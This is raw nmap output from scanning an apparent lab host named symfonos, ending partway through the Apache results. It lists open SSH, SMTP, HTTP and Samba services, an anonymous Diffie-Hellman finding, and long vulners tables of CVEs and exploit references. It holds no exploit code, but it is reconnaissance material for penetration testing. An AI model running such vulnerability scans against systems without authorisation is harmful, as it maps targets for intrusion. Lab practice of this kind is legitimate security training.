nmap results:

  • nmap 192.168.48.134 -sV -p-:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 11:30 EDT
Nmap scan report for 192.168.48.134
Host is up (0.00082s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:95:12:DE (VMware)
Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.96 seconds
  • nmap -Pn -p- -A -T4 --script vuln 192.168.48.134 -oN Ascan.txt:
# Nmap 7.95 scan initiated Mon May 12 11:31:20 2025 as: /usr/lib/nmap/nmap -Pn -p- -A -T4 --script vuln -oN Ascan.txt 192.168.48.134
Nmap scan report for 192.168.48.134
Host is up (0.00037s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.4p1: 
|     	2C119FFA-ECE0-5E14-A4A4-354A2C38071A	10.0	https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A	*EXPLOIT*
|     	CVE-2023-38408	9.8	https://vulners.com/cve/CVE-2023-38408
|     	B8190CDB-3EB9-5631-9828-8064A1575B23	9.8	https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23	*EXPLOIT*
|     	8FC9C5AB-3968-5F3C-825E-E8DB5379A623	9.8	https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623	*EXPLOIT*
|     	8AD01159-548E-546E-AA87-2DE89F3927EC	9.8	https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC	*EXPLOIT*
|     	5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A	9.8	https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A	*EXPLOIT*
|     	2227729D-6700-5C8F-8930-1EEAFD4B9FF0	9.8	https://vulners.com/githubexploit/2227729D-6700-5C8F-8930-1EEAFD4B9FF0	*EXPLOIT*
|     	0221525F-07F5-5790-912D-F4B9E2D1B587	9.8	https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587	*EXPLOIT*
|     	CVE-2020-15778	7.8	https://vulners.com/cve/CVE-2020-15778
|     	SSV:92579	7.5	https://vulners.com/seebug/SSV:92579	*EXPLOIT*
|     	PACKETSTORM:173661	7.5	https://vulners.com/packetstorm/PACKETSTORM:173661	*EXPLOIT*
|     	F0979183-AE88-53B4-86CF-3AF0523F3807	7.5	https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807	*EXPLOIT*
|     	1337DAY-ID-26576	7.5	https://vulners.com/zdt/1337DAY-ID-26576	*EXPLOIT*
|     	CVE-2021-41617	7.0	https://vulners.com/cve/CVE-2021-41617
|     	95499236-C9FE-56A6-9D7D-E943A24B633A	6.9	https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A	*EXPLOIT*
|     	PACKETSTORM:189283	6.8	https://vulners.com/packetstorm/PACKETSTORM:189283	*EXPLOIT*
|     	F79E574D-30C8-5C52-A801-66FFA0610BAA	6.8	https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA	*EXPLOIT*
|     	EDB-ID:46516	6.8	https://vulners.com/exploitdb/EDB-ID:46516	*EXPLOIT*
|     	EDB-ID:46193	6.8	https://vulners.com/exploitdb/EDB-ID:46193	*EXPLOIT*
|     	CVE-2025-26465	6.8	https://vulners.com/cve/CVE-2025-26465
|     	CVE-2019-6110	6.8	https://vulners.com/cve/CVE-2019-6110
|     	CVE-2019-6109	6.8	https://vulners.com/cve/CVE-2019-6109
|     	C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	6.8	https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	*EXPLOIT*
|     	1337DAY-ID-39918	6.8	https://vulners.com/zdt/1337DAY-ID-39918	*EXPLOIT*
|     	10213DBE-F683-58BB-B6D3-353173626207	6.8	https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207	*EXPLOIT*
|     	CVE-2023-51385	6.5	https://vulners.com/cve/CVE-2023-51385
|     	PACKETSTORM:181223	5.9	https://vulners.com/packetstorm/PACKETSTORM:181223	*EXPLOIT*
|     	MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	5.9	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	*EXPLOIT*
|     	CVE-2023-48795	5.9	https://vulners.com/cve/CVE-2023-48795
|     	CVE-2020-14145	5.9	https://vulners.com/cve/CVE-2020-14145
|     	CVE-2019-6111	5.9	https://vulners.com/cve/CVE-2019-6111
|     	54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	5.9	https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	*EXPLOIT*
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
|     	1337DAY-ID-32328	5.8	https://vulners.com/zdt/1337DAY-ID-32328	*EXPLOIT*
|     	1337DAY-ID-32009	5.8	https://vulners.com/zdt/1337DAY-ID-32009	*EXPLOIT*
|     	EDB-ID:45939	5.3	https://vulners.com/exploitdb/EDB-ID:45939	*EXPLOIT*
|     	EDB-ID:45233	5.3	https://vulners.com/exploitdb/EDB-ID:45233	*EXPLOIT*
|     	CVE-2018-20685	5.3	https://vulners.com/cve/CVE-2018-20685
|     	CVE-2018-15919	5.3	https://vulners.com/cve/CVE-2018-15919
|     	CVE-2018-15473	5.3	https://vulners.com/cve/CVE-2018-15473
|     	CVE-2017-15906	5.3	https://vulners.com/cve/CVE-2017-15906
|     	CVE-2016-20012	5.3	https://vulners.com/cve/CVE-2016-20012
|     	SSH_ENUM	5.0	https://vulners.com/canvas/SSH_ENUM	*EXPLOIT*
|     	PACKETSTORM:150621	5.0	https://vulners.com/packetstorm/PACKETSTORM:150621	*EXPLOIT*
|     	EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	5.0	https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	*EXPLOIT*
|     	EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	5.0	https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	*EXPLOIT*
|     	1337DAY-ID-31730	5.0	https://vulners.com/zdt/1337DAY-ID-31730	*EXPLOIT*
|     	CVE-2025-32728	4.3	https://vulners.com/cve/CVE-2025-32728
|     	CVE-2021-36368	3.7	https://vulners.com/cve/CVE-2021-36368
|     	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
|     	PACKETSTORM:140261	0.0	https://vulners.com/packetstorm/PACKETSTORM:140261	*EXPLOIT*
|_    	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937	*EXPLOIT*
25/tcp  open  smtp        Postfix smtpd
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_AES_256_GCM_SHA384
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 2048
|             Generator Length: 8
|             Public Key Length: 2048
|     References:
|_      https://www.ietf.org/rfc/rfc2246.txt
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.25: 
|     	C94CBDE1-4CC5-5C06-9D18-23CAB216705E	10.0	https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E	*EXPLOIT*
|     	2C119FFA-ECE0-5E14-A4A4-354A2C38071A	10.0	https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A	*EXPLOIT*
|     	PACKETSTORM:181114	9.8	https://vulners.com/packetstorm/PACKETSTORM:181114	*EXPLOIT*
|     	MSF:EXPLOIT-MULTI-HTTP-APACHE_NORMALIZE_PATH_RCE-	9.8	https://vulners.com/metasploit/MSF:EXPLOIT-MULTI-HTTP-APACHE_NORMALIZE_PATH_RCE-	*EXPLOIT*
|     	MSF:AUXILIARY-SCANNER-HTTP-APACHE_NORMALIZE_PATH-	9.8	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-APACHE_NORMALIZE_PATH-	*EXPLOIT*
|     	HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6	9.8	https://vulners.com/httpd/HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6
|     	HTTPD:C072933AA965A86DA3E2C9172FFC1569	9.8	https://vulners.com/httpd/HTTPD:C072933AA965A86DA3E2C9172FFC1569
|     	HTTPD:A1BBCE110E077FFBF4469D4F06DB9293	9.8	https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293
|     	HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D	9.8	https://vulners.com/httpd/HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D
|     	HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8	9.8	https://vulners.com/httpd/HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8
|     	HTTPD:9AD76A782F4E66676719E36B64777A7A	9.8	https://vulners.com/httpd/HTTPD:9AD76A782F4E66676719E36B64777A7A
|     	HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9	9.8	https://vulners.com/httpd/HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9
|     	HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E	9.8	https://vulners.com/httpd/HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E
|     	HTTPD:1F84410918227CC81FA7C000C4F999A3	9.8	https://vulners.com/httpd/HTTPD:1F84410918227CC81FA7C000C4F999A3
|     	HTTPD:156974A46CA46AF26CC4140D00F7EB10	9.8	https://vulners.com/httpd/HTTPD:156974A46CA46AF26CC4140D00F7EB10
|     	F9C0CD4B-3B60-5720-AE7A-7CC31DB839C5	9.8	https://vulners.com/githubexploit/F9C0CD4B-3B60-5720-AE7A-7CC31DB839C5	*EXPLOIT*
|     	F607361B-6369-5DF5-9B29-E90FA29DC565	9.8	https://vulners.com/githubexploit/F607361B-6369-5DF5-9B29-E90FA29DC565	*EXPLOIT*
|     	F41EE867-4E63-5259-9DF0-745881884D04	9.8	https://vulners.com/githubexploit/F41EE867-4E63-5259-9DF0-745881884D04	*EXPLOIT*
|     	EDB-ID:51193	9.8	https://vulners.com/exploitdb/EDB-ID:51193	*EXPLOIT*
|     	EDB-ID:50512	9.8	https://vulners.com/exploitdb/EDB-ID:50512	*EXPLOIT*
|     	EDB-ID:50446	9.8	https://vulners.com/exploitdb/EDB-ID:50446	*EXPLOIT*
|     	EDB-ID:50406	9.8	https://vulners.com/exploitdb/EDB-ID:50406	*EXPLOIT*
|     	E796A40A-8A8E-59D1-93FB-78EF4D8B7FA6	9.8	https://vulners.com/githubexploit/E796A40A-8A8E-59D1-93FB-78EF4D8B7FA6	*EXPLOIT*
|     	D10426F3-DF82-5439-AC3E-6CA0A1365A09	9.8	https://vulners.com/githubexploit/D10426F3-DF82-5439-AC3E-6CA0A1365A09	*EXPLOIT*
|     	D0368327-F989-5557-A5C6-0D9ACDB4E72F	9.8	https://vulners.com/githubexploit/D0368327-F989-5557-A5C6-0D9ACDB4E72F	*EXPLOIT*
|     	CVE-2024-38476	9.8	https://vulners.com/cve/CVE-2024-38476
|     	CVE-2024-38474	9.8	https://vulners.com/cve/CVE-2024-38474
|     	CVE-2023-25690	9.8	https://vulners.com/cve/CVE-2023-25690
|     	CVE-2022-31813	9.8	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	9.8	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	9.8	https://vulners.com/cve/CVE-2022-22720
|     	CVE-2021-44790	9.8	https://vulners.com/cve/CVE-2021-44790
|     	CVE-2021-42013	9.8	https://vulners.com/cve/CVE-2021-42013
|     	CVE-2021-39275	9.8	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	9.8	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2018-1312	9.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-7679	9.8	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-3169	9.8	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	9.8	https://vulners.com/cve/CVE-2017-3167
|     	CNVD-2022-51061	9.8	https://vulners.com/cnvd/CNVD-2022-51061
|     	CNVD-2022-03225	9.8	https://vulners.com/cnvd/CNVD-2022-03225
|     	CNVD-2021-102386	9.8	https://vulners.com/cnvd/CNVD-2021-102386
|     	CC15AE65-B697-525A-AF4B-38B1501CAB49	9.8	https://vulners.com/githubexploit/CC15AE65-B697-525A-AF4B-38B1501CAB49	*EXPLOIT*
|     	C879EE66-6B75-5EC8-AA68-08693C6CCAD1	9.8	https://vulners.com/githubexploit/C879EE66-6B75-5EC8-AA68-08693C6CCAD1	*EXPLOIT*
|     	C5A61CC6-919E-58B4-8FBB-0198654A7FC8	9.8	https://vulners.com/githubexploit/C5A61CC6-919E-58B4-8FBB-0198654A7FC8	*EXPLOIT*
|     	BF9B0898-784E-5B5E-9505-430B58C1E6B8	9.8	https://vulners.com/githubexploit/BF9B0898-784E-5B5E-9505-430B58C1E6B8	*EXPLOIT*
|     	B02819DB-1481-56C4-BD09-6B4574297109	9.8	https://vulners.com/githubexploit/B02819DB-1481-56C4-BD09-6B4574297109	*EXPLOIT*
|     	ACD5A7F2-FDB2-5859-8D23-3266A1AF6795	9.8	https://vulners.com/githubexploit/ACD5A7F2-FDB2-5859-8D23-3266A1AF6795	*EXPLOIT*
|     	A90ABEAD-13A8-5F09-8A19-6D9D2D804F05	9.8	https://vulners.com/githubexploit/A90ABEAD-13A8-5F09-8A19-6D9D2D804F05	*EXPLOIT*
|     	A8616E5E-04F8-56D8-ACB4-32FDF7F66EED	9.8	https://vulners.com/githubexploit/A8616E5E-04F8-56D8-ACB4-32FDF7F66EED	*EXPLOIT*
|     	A5425A79-9D81-513A-9CC5-549D6321897C	9.8	https://vulners.com/githubexploit/A5425A79-9D81-513A-9CC5-549D6321897C	*EXPLOIT*
|     	A2D97DCC-04C2-5CB1-921F-709AA8D7FD9A	9.8	https://vulners.com/githubexploit/A2D97DCC-04C2-5CB1-921F-709AA8D7FD9A	*EXPLOIT*
|     	9B4F4E4A-CFDF-5847-805F-C0BAE809DBD5	9.8	https://vulners.com/githubexploit/9B4F4E4A-CFDF-5847-805F-C0BAE809DBD5	*EXPLOIT*
|     	907F28D0-5906-51C7-BAA3-FEBD5E878801	9.8	https://vulners.com/githubexploit/907F28D0-5906-51C7-BAA3-FEBD5E878801	*EXPLOIT*
|     	8A57FAF6-FC91-52D1-84E0-4CBBAD3F9677	9.8	https://vulners.com/githubexploit/8A57FAF6-FC91-52D1-84E0-4CBBAD3F9677	*EXPLOIT*
|     	88EB009A-EEFF-52B7-811D-A8A8C8DE8C81	9.8	https://vulners.com/githubexploit/88EB009A-EEFF-52B7-811D-A8A8C8DE8C81	*EXPLOIT*
|     	8713FD59-264B-5FD7-8429-3251AB5AB3B8	9.8	https://vulners.com/githubexploit/8713FD59-264B-5FD7-8429-3251AB5AB3B8	*EXPLOIT*
|     	866E26E3-759B-526D-ABB5-206B2A1AC3EE	9.8	https://vulners.com/githubexploit/866E26E3-759B-526D-ABB5-206B2A1AC3EE	*EXPLOIT*
|     	86360765-0B1A-5D73-A805-BAE8F1B5D16D	9.8	https://vulners.com/githubexploit/86360765-0B1A-5D73-A805-BAE8F1B5D16D	*EXPLOIT*
|     	831E1114-13D1-54EF-BDE4-F655114CDC29	9.8	https://vulners.com/githubexploit/831E1114-13D1-54EF-BDE4-F655114CDC29	*EXPLOIT*
|     	805E6B24-8DF9-51D8-8DF6-6658161F96EA	9.8	https://vulners.com/githubexploit/805E6B24-8DF9-51D8-8DF6-6658161F96EA	*EXPLOIT*
|     	7E615961-3792-5896-94FA-1F9D494ACB36	9.8	https://vulners.com/githubexploit/7E615961-3792-5896-94FA-1F9D494ACB36	*EXPLOIT*
|     	78787F63-0356-51EC-B32A-B9BD114431C3	9.8	https://vulners.com/githubexploit/78787F63-0356-51EC-B32A-B9BD114431C3	*EXPLOIT*
|     	6CAA7558-723B-5286-9840-4DF4EB48E0AF	9.8	https://vulners.com/githubexploit/6CAA7558-723B-5286-9840-4DF4EB48E0AF	*EXPLOIT*
|     	6A0A657E-8300-5312-99CE-E11F460B1DBF	9.8	https://vulners.com/githubexploit/6A0A657E-8300-5312-99CE-E11F460B1DBF	*EXPLOIT*
|     	64D31BF1-F977-51EC-AB1C-6693CA6B58F3	9.8	https://vulners.com/githubexploit/64D31BF1-F977-51EC-AB1C-6693CA6B58F3	*EXPLOIT*
|     	61075B23-F713-537A-9B84-7EB9B96CF228	9.8	https://vulners.com/githubexploit/61075B23-F713-537A-9B84-7EB9B96CF228	*EXPLOIT*
|     	5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	9.8	https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	*EXPLOIT*
|     	5312D04F-9490-5472-84FA-86B3BBDC8928	9.8	https://vulners.com/githubexploit/5312D04F-9490-5472-84FA-86B3BBDC8928	*EXPLOIT*
|     	52E13088-9643-5E81-B0A0-B7478BCF1F2C	9.8	https://vulners.com/githubexploit/52E13088-9643-5E81-B0A0-B7478BCF1F2C	*EXPLOIT*
|     	50453CEF-5DCF-511A-ADAC-FB74994CD682	9.8	https://vulners.com/githubexploit/50453CEF-5DCF-511A-ADAC-FB74994CD682	*EXPLOIT*
|     	495E99E5-C1B0-52C1-9218-384D04161BE4	9.8	https://vulners.com/githubexploit/495E99E5-C1B0-52C1-9218-384D04161BE4	*EXPLOIT*
|     	44E43BB7-6255-58E7-99C7-C3B84645D497	9.8	https://vulners.com/githubexploit/44E43BB7-6255-58E7-99C7-C3B84645D497	*EXPLOIT*
|     	40F21EB4-9EE8-5ED1-B561-0A2B8625EED3	9.8	https://vulners.com/githubexploit/40F21EB4-9EE8-5ED1-B561-0A2B8625EED3	*EXPLOIT*
|     	3F17CA20-788F-5C45-88B3-E12DB2979B7B	9.8	https://vulners.com/githubexploit/3F17CA20-788F-5C45-88B3-E12DB2979B7B	*EXPLOIT*
|     	37634050-FDDF-571A-90BB-C8109824B38D	9.8	https://vulners.com/githubexploit/37634050-FDDF-571A-90BB-C8109824B38D	*EXPLOIT*
|     	30293CDA-FDB1-5FAF-9622-88427267F204	9.8	https://vulners.com/githubexploit/30293CDA-FDB1-5FAF-9622-88427267F204	*EXPLOIT*
|     	2B3110E1-BEA0-5DB8-93AD-1682230F3E19	9.8	https://vulners.com/githubexploit/2B3110E1-BEA0-5DB8-93AD-1682230F3E19	*EXPLOIT*
|     	22DCCD26-B68C-5905-BAC2-71D10DE3F123	9.8	https://vulners.com/githubexploit/22DCCD26-B68C-5905-BAC2-71D10DE3F123	*EXPLOIT*
|     	2108729F-1E99-54EF-9A4B-47299FD89FF2	9.8	https://vulners.com/githubexploit/2108729F-1E99-54EF-9A4B-47299FD89FF2	*EXPLOIT*
|     	1C39E10A-4A38-5228-8334-2A5F8AAB7FC3	9.8	https://vulners.com/githubexploit/1C39E10A-4A38-5228-8334-2A5F8AAB7FC3	*EXPLOIT*
|     	1337DAY-ID-39214	9.8	https://vulners.com/zdt/1337DAY-ID-39214	*EXPLOIT*
|     	1337DAY-ID-37777	9.8	https://vulners.com/zdt/1337DAY-ID-37777	*EXPLOIT*
|     	1337DAY-ID-36952	9.8	https://vulners.com/zdt/1337DAY-ID-36952	*EXPLOIT*
|     	11813536-2AFF-5EA4-B09F-E9EB340DDD26	9.8	https://vulners.com/githubexploit/11813536-2AFF-5EA4-B09F-E9EB340DDD26	*EXPLOIT*
|     	0C47BCF2-EA6F-5613-A6E8-B707D64155DE	9.8	https://vulners.com/githubexploit/0C47BCF2-EA6F-5613-A6E8-B707D64155DE	*EXPLOIT*
|     	0AA6A425-25B1-5D2A-ABA1-2933D3E1DC56	9.8	https://vulners.com/githubexploit/0AA6A425-25B1-5D2A-ABA1-2933D3E1DC56	*EXPLOIT*
|     	07AA70EA-C34E-5F66-9510-7C265093992A	9.8	https://vulners.com/githubexploit/07AA70EA-C34E-5F66-9510-7C265093992A	*EXPLOIT*
|     	HTTPD:D868A1E68FB46E2CF5486281DCDB59CF	9.1	https://vulners.com/httpd/HTTPD:D868A1E68FB46E2CF5486281DCDB59CF
|     	HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6	9.1	https://vulners.com/httpd/HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6
|     	HTTPD:3512E3F62E72F03B59F5E9CF8ECB3EEF	9.1	https://vulners.com/httpd/HTTPD:3512E3F62E72F03B59F5E9CF8ECB3EEF
|     	HTTPD:2C227652EE0B3B961706AAFCACA3D1E1	9.1	https://vulners.com/httpd/HTTPD:2C227652EE0B3B961706AAFCACA3D1E1
|     	CVE-2024-38475	9.1	https://vulners.com/cve/CVE-2024-38475
|     	CVE-2022-28615	9.1	https://vulners.com/cve/CVE-2022-28615
|     	CVE-2022-22721	9.1	https://vulners.com/cve/CVE-2022-22721
|     	CVE-2019-10082	9.1	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2017-9788	9.1	https://vulners.com/cve/CVE-2017-9788
|     	CNVD-2022-51060	9.1	https://vulners.com/cnvd/CNVD-2022-51060
|     	CNVD-2022-41638	9.1	https://vulners.com/cnvd/CNVD-2022-41638
|     	5418A85B-F4B7-5BBD-B106-0800AC961C7A	9.1	https://vulners.com/githubexploit/5418A85B-F4B7-5BBD-B106-0800AC961C7A	*EXPLOIT*
|     	2EF14600-503F-53AF-BA24-683481265D30	9.1	https://vulners.com/githubexploit/2EF14600-503F-53AF-BA24-683481265D30	*EXPLOIT*
|     	0486EBEE-F207-570A-9AD8-33269E72220A	9.1	https://vulners.com/githubexploit/0486EBEE-F207-570A-9AD8-33269E72220A	*EXPLOIT*
|     	HTTPD:1B3D546A8500818AAC5B1359FE11A7E4	9.0	https://vulners.com/httpd/HTTPD:1B3D546A8500818AAC5B1359FE11A7E4
|     	DC06B9EF-3584-5D80-9EEB-E7B637DCF3D6	9.0	https://vulners.com/githubexploit/DC06B9EF-3584-5D80-9EEB-E7B637DCF3D6	*EXPLOIT*
|     	CVE-2022-36760	9.0	https://vulners.com/cve/CVE-2022-36760
|     	CVE-2021-40438	9.0	https://vulners.com/cve/CVE-2021-40438
|     	CNVD-2022-03224	9.0	https://vulners.com/cnvd/CNVD-2022-03224
|     	AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	9.0	https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	*EXPLOIT*
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	9.0	https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	*EXPLOIT*
|     	893DFD44-40B5-5469-AC54-A373AEE17F19	9.0	https://vulners.com/githubexploit/893DFD44-40B5-5469-AC54-A373AEE17F19	*EXPLOIT*
|     	7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2	9.0	https://vulners.com/githubexploit/7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	9.0	https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	9.0	https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B	*EXPLOIT*
|     	36618CA8-9316-59CA-B748-82F15F407C4F	9.0	https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F	*EXPLOIT*
|     	3F71F065-66D4-541F-A813-9F1A2F2B1D91	8.8	https://vulners.com/githubexploit/3F71F065-66D4-541F-A813-9F1A2F2B1D91	*EXPLOIT*
|     	HTTPD:A7133572D328CD65C350E33F20834FAD	8.2	https://vulners.com/httpd/HTTPD:A7133572D328CD65C350E33F20834FAD
|     	CVE-2021-44224	8.2	https://vulners.com/cve/CVE-2021-44224
|     	B0A9E5E8-7CCC-5984-9922-A89F11D6BF38	8.2	https://vulners.com/githubexploit/B0A9E5E8-7CCC-5984-9922-A89F11D6BF38	*EXPLOIT*
|     	HTTPD:B63E69E936F944F114293D6F4AB8D4D6	8.1	https://vulners.com/httpd/HTTPD:B63E69E936F944F114293D6F4AB8D4D6
|     	CVE-2024-38473	8.1	https://vulners.com/cve/CVE-2024-38473
|     	CVE-2017-15715	8.1	https://vulners.com/cve/CVE-2017-15715
|     	249A954E-0189-5182-AE95-31C866A057E1	8.1	https://vulners.com/githubexploit/249A954E-0189-5182-AE95-31C866A057E1	*EXPLOIT*
|     	23079A70-8B37-56D2-9D37-F638EBF7F8B5	8.1	https://vulners.com/githubexploit/23079A70-8B37-56D2-9D37-F638EBF7F8B5	*EXPLOIT*
|     	HTTPD:4CB68AD1C4AC4E8EE009A960A68B7E65	7.8	https://vulners.com/httpd/HTTPD:4CB68AD1C4AC4E8EE009A960A68B7E65
|     	EDB-ID:46676	7.8	https://vulners.com/exploitdb/EDB-ID:46676	*EXPLOIT*
|     	DF041B2B-2DA7-5262-AABE-9EBD2D535041	7.8	https://vulners.com/githubexploit/DF041B2B-2DA7-5262-AABE-9EBD2D535041	*EXPLOIT*
|     	CVE-2019-0211	7.8	https://vulners.com/cve/CVE-2019-0211
|     	PACKETSTORM:181038	7.5	https://vulners.com/packetstorm/PACKETSTORM:181038	*EXPLOIT*
|     	PACKETSTORM:176334	7.5	https://vulners.com/packetstorm/PACKETSTORM:176334	*EXPLOIT*
|     	PACKETSTORM:171631	7.5	https://vulners.com/packetstorm/PACKETSTORM:171631	*EXPLOIT*
|     	PACKETSTORM:164941	7.5	https://vulners.com/packetstorm/PACKETSTORM:164941	*EXPLOIT*
|     	PACKETSTORM:164629	7.5	https://vulners.com/packetstorm/PACKETSTORM:164629	*EXPLOIT*
